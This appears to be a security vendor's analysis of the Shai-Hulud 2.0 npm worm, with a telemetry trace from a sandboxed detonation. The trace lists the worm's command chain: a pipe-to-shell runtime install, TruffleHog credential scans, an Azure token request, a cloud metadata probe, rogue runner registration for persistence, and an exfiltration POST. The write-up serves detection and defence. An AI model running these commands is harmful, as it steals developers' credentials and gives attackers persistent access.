What happened
Shai-Hulud 2.0, dubbed "The Second Coming", executes during the preinstall phase — before installation completes, before security checks fire. It drops setup_bun.js, installs the Bun runtime to escape Node-centric tooling, then runs bun_environment.js: a 10MB+ obfuscated payload.
The payload harvests npm tokens, GitHub PATs, and cloud credentials, then injects itself into the developer's other packages and publishes new compromised versions automatically. It registers machines as self-hosted runners named SHA1HULUD. A failsafe wipes $HOME if exfiltration fails. The campaign hit Zapier, PostHog, Postman, and ENS Domains.
The discourse
Microsoft published Defender detection guidance. Unit 42 assessed the scripts were likely LLM-generated. Check Point reported 14,206 leaked secrets, 2,485 still valid. The consensus: preinstall hooks are an existential risk, and the Node-to-Bun runtime switch demonstrated deliberate evasion of existing detection tooling.
What Garnet observed
Garnet detonated @seung-ju/react-native-action-sheet@0.2.1 in an instrumented runner. The full telemetry is in the 16-minute account.
1runner → npm install @seung-ju/react-native-action-sheet@0.2.12 → sh -c "node setup_bun.js" # preinstall hook3 → curl -fsSL bun.sh | bash # Bun runtime install4 → ~/.bun/bin/bun bun_environment.js # Node → Bun evasion5 → ~/.dev-env/trufflehog filesystem /home/runner --json6 → az account get-access-token --resource https://vault.azure.net7 → curl http://169.254.169.254/... # IMDS probe8 → ~/.dev-env/config.sh --unattended --name SHA1HULUD9 --url https://github.com/[attacker]/[repo]10 → nohup ~/.dev-env/run.sh & # Persistence11 → curl -X POST https://api.tomorrow.io:443 # Blocked
The detonation ran 60+ minutes. Garnet recorded the Bun runtime switch (evasion), periodic TruffleHog scans at 25–35 minute intervals (collection), IMDS probing (cloud credential theft), runner registration as SHA1HULUD (persistence), and the egress attempt to api.tomorrow.io — where the kill chain broke. The data never left the runner.
Assertions fired:
no_known_bad_egress(connection toapi.tomorrow.io),hidden_elf_execution(binaries from~/.dev-env/),credentials_files_access(TruffleHog scanning/home/runner),cloud_metadata_access(IMDS probe to169.254.169.254).
Real-world impact
The campaign compromised 487 GitHub organizations and exposed 14,206 secrets in 72 hours. The self-hosted runner registration means attackers maintain persistent access even after the malicious package is removed from npm.
The complete 16-minute account of detonating Shai-Hulud 2.0 in CI.
